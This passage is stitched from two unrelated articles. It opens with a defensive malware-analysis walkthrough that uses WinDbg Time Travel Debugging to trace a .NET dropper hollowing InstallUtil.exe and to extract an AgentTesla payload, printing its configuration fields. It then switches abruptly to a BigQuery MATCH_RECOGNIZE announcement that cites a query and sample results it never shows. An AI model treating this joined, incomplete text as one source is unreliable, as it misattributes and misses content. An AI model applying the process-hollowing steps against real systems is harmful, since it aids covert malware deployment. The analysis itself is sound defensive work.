This query returns a number of fields, not all of which are helpful for our investigation. To address this, we can apply the Select LINQ query to the original query, which allows us to specify which columns to display and rename them.

0:000> dx -g @$cursession.TTD.Calls("kernel32!CreateProcess*").Select(c => new { TimeStart = c.TimeStart, Function = c.Function, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})

The result shows one call to CreateProcessA starting at position 58243:104D. Note the return address: since this is a .NET binary, the native code executed by the Just-In-Time (JIT) compiler won’t be located in the application’s main image address space (as it would be in a non-.NET image). Normally, an effective triage step is to filter results with a Where LINQ query, limiting the return address to the primary module to filter out API calls that do not originate from the malware. This Where filter, however, is less reliable when analyzing JIT-compiled code due to the dynamic nature of its execution space.

The next point of interest is the Parameters field. Clicking on the DML link on the collapsed value {..} displays Parameters via a corresponding dx command.

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters

@$cursession.TTD.Calls("kernel32!CreateProcess*").Select( c => new { TimeStart = c.TimeStart, Parameters = c.Parameters, ReturnAddress = c.ReturnAddress})[0].Parameters
    [0x0]            : 0x55de700055de74
    [0x1]            : 0x55e0780055e0ac
    [0x2]            : 0x808000400000000
    [0x3]            : 0x55de4000000000

Function arguments are available under a specific Calls object as an array of values. However, before we investigate the parameters, there are some assumptions made by TTD that are worth exploring. Overall, these assumptions are affected by whether the process is 32-bit or 64-bit. An easy way to check the bitness of the process is by inspecting the DebuggerInformation object.

0:00> dx Debugger.State.DebuggerInformation
Debugger.State.DebuggerInformation                
    ProcessorTarget  : X86 <--- Process Bitness
    Bitness          : 32
    EngineFilePath   : C:Program FilesWindowsApps<SNIPPED>x86dbgeng.dll
    EngineVersion    : 10.0.27871.1001

The key identifier in the output is ProcessorTarget: this value indicates the architecture of the guest process that was traced, regardless of whether the host operating system running the debugger is 64-bit.

TTD uses symbol information provided in a program database (PDB) file to determine the number of parameters, their types and the return type of a function. However, this information is only available if the PDB file contains private symbols. While Microsoft provides PDB files for many of its libraries, these are often public symbols and therefore lack the necessary function information to interpret the parameters correctly. This is where TTD makes another assumption that can lead to incorrect results. Primarily, it assumes a maximum of four QWORD parameters and that the return value is also a QWORD. This assumption creates a mismatch in a 32-bit process (x86), where arguments are typically 32-bit (4-byte) values passed on the stack. Although TTD correctly finds the arguments on the stack, it misinterprets two adjacent 32-bit arguments as a single, 64-bit value.

One way to resolve this is to manually investigate the arguments on the stack. First we use the !tt command to navigate to the beginning of the relevant call to CreateProcessA.

0:000> !tt 58243:104D

(b48.12a4): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 58243:104D
eax=00bed5c0 ebx=039599a8 ecx=00000000 edx=75d25160 esi=00000000 edi=03331228
eip=75d25160 esp=0055de14 ebp=0055df30 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
KERNEL32!CreateProcessA:
75d25160 8bff            mov     edi,edi

The return address is at the top of the stack at the start of a function call, so the following dd command skips over this value by adding an offset of 4 to the ESP register to properly align the function arguments.

0:000> dd /c 1 esp+4 L0A
0055de18  0055de74  <-- Application Name
0055de1c  0055de70
0055de20  0055e0ac
0055de24  0055e078
0055de28  00000000
0055de2c  08080004  <-- Creation Flags - 0x4 (CREATE_SUSPENDED)
0055de30  00000000
0055de34  0055de40
0055de38  0055e0c0
0055de3c  0055e068

The value of 0x4 (CREATE_SUSPENDED) set in the bitmask for the dwCreationFlags argument (6th argument) indicates that the process will be created in a suspended state.

The following command dereferences esp+4 via the poi operator to retrieve the application name string pointer then uses the da command to display the ASCII string.

0:000> da poi(esp+4)
0055de74  "C:WindowsMicrosoft.NETFramewo"
0055de94  "rkv4.0.30319InstallUtil.exe"

The command reveals that the target application is InstallUtil.exe, which aligns with the findings from basic analysis.

It is also useful to retrieve the handle to the newly created process in order to identify subsequent operations performed on it. The handle value is returned through a pointer (0x55e068 in the earlier referenced output) to a PROCESS_INFORMATION structure passed as the last argument. This structure has the following definition:

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
}

After the call to CreateProcessA, the first member of this structure should be populated with the handle to the process. Step out of the call using the gu (Go Up) command to examine the populated structure.

0:000> gu
Time Travel Position: 58296:60D

0:000> dd /c 1 0x55e068 L4
0055e068  00000104 <-- handle to process
0055e06c  00000970
0055e070  00000d2c
0055e074  00001c30

In this trace, CreateProcess returned 0x104 as the handle for the suspended process.

The most interesting operation in process hollowing for the purpose of triage is the allocation of memory and subsequent writes to that memory, commonly performed via calls to WriteProcessMemory. The previous Calls query can be updated to identify calls to WriteProcessMemory.

0:000> dx -g @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})
=============================================================
=          = (+) TimeStart = (+) ReturnAddress = (+) Params =
=============================================================
= [0x0]    - 6A02A:4B4     - 0x15032e2         - {...}      =
= [0x1]    - 6E516:A91     - 0x15032e2         - {...}      =
= [0x2]    - 729A2:511     - 0x15032e2         - {...}      =
= [0x3]    - 76E2D:750     - 0x15032e2         - {...}      =
= [0x4]    - 7B2DF:C1C     - 0x15032e2         - {...}      =
=============================================================

The query returns four results. The following queries expand the arguments for each call to WriteProcessMemory.

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[0].Params                
    [0x0]            : 0x104        <-- Target process handle
    [0x1]            : 0x400000     <-- Target Address
    [0x2]            : 0x9810af0    <-- Source buffer
    [0x3]            : 0x200        <-- Write size

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[1].Params                
    [0x0]            : 0x104
    [0x1]            : 0x402000
    [0x2]            : 0x984cb10
    [0x3]            : 0x3b600

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[2].Params                
    [0x0]            : 0x104
    [0x1]            : 0x43e000
    [0x2]            : 0x387d9d0
    [0x3]            : 0x600

0:000> dx -r1 @$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params
@$cursession.TTD.Calls("kernel32!WriteProcessMemory*").Select( c => new { TimeStart = c.TimeStart, ReturnAddress = c.ReturnAddress, Params = c.Parameters})[3].Params                
    [0x0]            : 0x104
    [0x1]            : 0x440000
    [0x2]            : 0x3927a78
    [0x3]            : 0x200

WriteProcessMemory has the following function signature:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

Investigating these calls to WriteProcessMemory shows that the target process handle is 0x104, which represents the suspended process. The second argument defines the address in the target process. The arguments to these calls reveal a pattern common to PE loading: the malware writes the PE header followed by the relevant sections at their virtual offsets.

It is worth noting that the memory of the target process cannot be analyzed from this trace. To record the execution of a child process, pass the -children flag to the TTD.exe utility. This will generate a trace file for each process, including all child processes, spawned during execution.

The first memory write to what is likely the target process’s base address (0x400000) is 0x200 bytes. This size is consistent with a PE header, and examining the source buffer (0x9810af0) confirms its contents.

0:000> db 0x9810af0
09810af0  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
09810b00  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
09810b10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
09810b20  00 00 00 00 00 00 00 00-00 00 00 00 80 00 00 00  ................
09810b30  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
09810b40  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
09810b50  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 
09810b60  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......

The !dh extension can be used to parse this header information.

0:000> !dh 0x9810af0

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       3 number of sections
66220A8D time date stamp Fri Apr 19 06:09:17 2024

----- SNIPPED -----

OPTIONAL HEADER VALUES
     10B magic #
   11.00 linker version
         ----- SNIPPED -----
       0 [       0] address [size] of Export Directory
   3D3D4 [      57] address [size] of Import Directory
   ----- SNIPPED -----
       0 [       0] address [size] of Delay Import Directory
    2008 [      48] address [size] of COR20 Header Directory

SECTION HEADER #1
   .text name
   3B434 virtual size
    2000 virtual address
   3B600 size of raw data
     200 file pointer to raw data
----- SNIPPED -----

SECTION HEADER #2
   .rsrc name
     546 virtual size
   3E000 virtual address
     600 size of raw data
   3B800 file pointer to raw data
----- SNIPPED -----

SECTION HEADER #3
  .reloc name
       C virtual size
   40000 virtual address
     200 size of raw data
   3BE00 file pointer to raw data
----- SNIPPED -----

The presence of a COR20 header directory (a pointer to the .NET header) indicates that this is a .NET executable. The relative virtual addresses for the .text (0x2000), .rsrc (0x3E000), and .reloc (0x40000) also align with the target addresses of the WriteProcessMemory calls.

The newly discovered PE file can now be extracted from memory using the writemem command.

0:000> .writemem c:usersflareDesktopheaders.bin 0x9810af0 L0x200
Writing 200 bytes.

0:000> .writemem c:usersflareDesktoptext.bin 0x984cb10 L0x3b600
Writing 3b600 bytes.......................................................................................................................

0:000> .writemem c:usersflareDesktoprsrc.bin 0x387d9d0 L0x600
Writing 600 bytes.

0:000> .writemem c:usersflareDesktopreloc.bin 0x3927178 L0x200
Writing 200 bytes.

Using a hex editor, the file can be reconstructed by placing each section at its raw offset. A quick analysis of the resulting .NET executable (SHA256: 4dfe67a8f1751ce0c29f7f44295e6028ad83bb8b3a7e85f84d6e251a0d7e3076) in dnSpy reveals its configuration data.

----- SNIPPED -----

// Token: 0x0400000E RID: 14
public static bool EnableKeylogger = Convert.ToBoolean("false");
// Token: 0x0400000F RID: 15
public static bool EnableScreenLogger = Convert.ToBoolean("false");
// Token: 0x04000010 RID: 16
public static bool EnableClipboardLogger = Convert.ToBoolean("false");
// Token: 0x0400001C RID: 28
public static string SmtpServer = "<REDACTED";
// Token: 0x0400001D RID: 29
public static string SmtpSender = "<REDACTED>";
// Token: 0x04000025 RID: 37
public static string StartupDirectoryName = "eXCXES";
// Token: 0x04000026 RID: 38
public static string StartupInstallationName = "eXCXES.exe";
// Token: 0x04000027 RID: 39
public static string StartupRegName = "eXCXES";
----- SNIPPED -----

Conclusion: TTD as an Analysis Accelerator

This case study demonstrates the benefit of treating TTD execution traces as a searchable database. By capturing the payload delivery and directly querying the Debugger Data Model for specific API calls, we quickly bypassed the multi-layered obfuscation of the .NET dropper. The combination of targeted data model queries and LINQ filters (for CreateProcess* and WriteProcessMemory*) and low-level commands (!dh, .writemem) allowed us to isolate and extract the hidden AgentTesla payload, yielding critical configuration details in a matter of minutes.

The tools and environment used in this analysis—including the latest version of WinDbg and TTD—are readily available via the FLARE-VM installation script. We encourage you to streamline your analysis workflow with  this pre-configured environment.

The TTD trace can be downloaded from VirusTotal along with the original sample.

Identifying patterns and sequences within your data is crucial for gaining deeper insights. Whether you’re tracking user behavior, analyzing financial transactions, or monitoring sensor data, the ability to recognize specific sequences of events can unlock a wealth of information and actionable insights. 

Imagine you’re a marketer at an e-commerce company trying to identify your most valuable customers by their purchasing trajectory. You know that customers who start with small orders and progress to mid-range purchases will usually end up becoming high-value purchasers and your most loyal segment. Having to figure out the complex SQL to aggregate and join this data could be quite the challenging task.

That’s why we’re excited to introduce MATCH_RECOGNIZE, a new feature in BigQuery that allows you to perform complex pattern matching on your data directly within your SQL queries!

What is MATCH_RECOGNIZE?

At its core, MATCH_RECOGNIZE is a tool built directly into GoogleSQL for identifying sequences of rows that match a specified pattern. It’s similar to using regular expressions, but instead of matching patterns in a string of text, you’re matching patterns in a sequence of rows within your tables. This capability is especially powerful for analyzing time-series data or any dataset where the order of rows is important.

With MATCH_RECOGNIZE, you can express complex patterns and define custom logic to analyze them, all within a single SQL clause. This reduces the need for cumbersome self-joins or complex procedural logic. It also lessens your reliance on Python to process data and will look familiar to users who have experience with Teradata’s nPath or other external MATCH_RECOGNIZE workloads (like Snowflake, Azure, Flink, etc.).

How it works

The MATCH_RECOGNIZE clause is highly structured and consists of several key components that work together to define your pattern-matching logic:

• PARTITION BY: This clause divides your data into independent partitions, allowing you to perform pattern matching within each partition separately.

• ORDER BY: Within each partition, ORDER BY sorts the rows to establish the sequence in which the pattern will be evaluated.

• MEASURES: Here, you can define the columns that will be included in the output, often using aggregate functions to summarize the matched data.

• PATTERN: This is the heart of the MATCH_RECOGNIZE clause, where you define the sequence of symbols that constitutes a match. You can use quantifiers like *, +, ?, and more to specify the number of occurrences for each symbol.

• DEFINE: In this clause, you define the conditions that a row must meet to be classified as a particular symbol in your pattern.

Let’s look at a simple example. From our fictional scenario above, imagine you have a table of sales data, and as a marketing analyst, you want to identify customer purchase patterns where their spending starts low, increases to a mid-range, and then reaches a high level. With MATCH_RECOGNIZE, you could write a query like this:

In this example, we’re partitioning the data by customer and ordering it by sale_date. The PATTERN clause specifies that we’re looking for one or more “low” sales events, followed by one or more “mid” sales events, followed by one or more “high” sales events. The DEFINE clause then specifies the conditions for a sale to be considered “low”, “mid”, or “high”. The MEASURES clause decides how to summarize each match; here with match_number we are indexing each match starting from 1 and creating a ‘sales’ array that will track every match in order.

Below are example matched customers: 

This data highlights some sales trends and could offer insights for a market analyst to strategize conversion of lower-spending customers to higher-value sales based on these trends.

Use cases for MATCH_RECOGNIZE

The possibilities with MATCH_RECOGNIZE are vast. Here are just a few examples of how you can use this powerful feature:

• Funnel analysis: Track user journeys on your website or app to identify common paths and drop-off points. For example, you could define a pattern for a successful conversion funnel (e.g., view_product -> add_to_cart -> purchase) and analyze how many users complete it.

• Fraud detection: Identify suspicious patterns of transactions that might indicate fraudulent activity. For example, you could look for a pattern of multiple small transactions followed by a large one from a new account.

• Financial analysis: Analyze stock market data to identify trends and patterns, such as a “W” or “V” shaped recovery.

• Log analysis: Sift through application logs to find specific sequences of events that might indicate an error or a security threat.

• Churn analysis: Identify patterns in your data that lead to customer churn and find actionable insights to reduce churn and improve customer sentiment. 

• Network monitoring: Identify a series of failed login attempts to track issues or potential threats.

• Supply chain monitoring: Flag delays in a sequence of shipment events.

• Sports analytics: Identify streaks or changes in output for different players / teams over games, such as winning or losing streaks, changes in starting lineups, etc.

Get started today

Ready to start using MATCH_RECOGNIZE in your own queries? The feature is now available to all BigQuery users! To learn more and dive deeper into the syntax and advanced capabilities, check out the official documentation and tutorial available on Colab, BigQuery, and GitHub.

MATCH_RECOGNIZE opens up a whole new world of possibilities for sequential analysis in BigQuery, and we can’t wait to see how you’ll use it to unlock deeper insights from your data.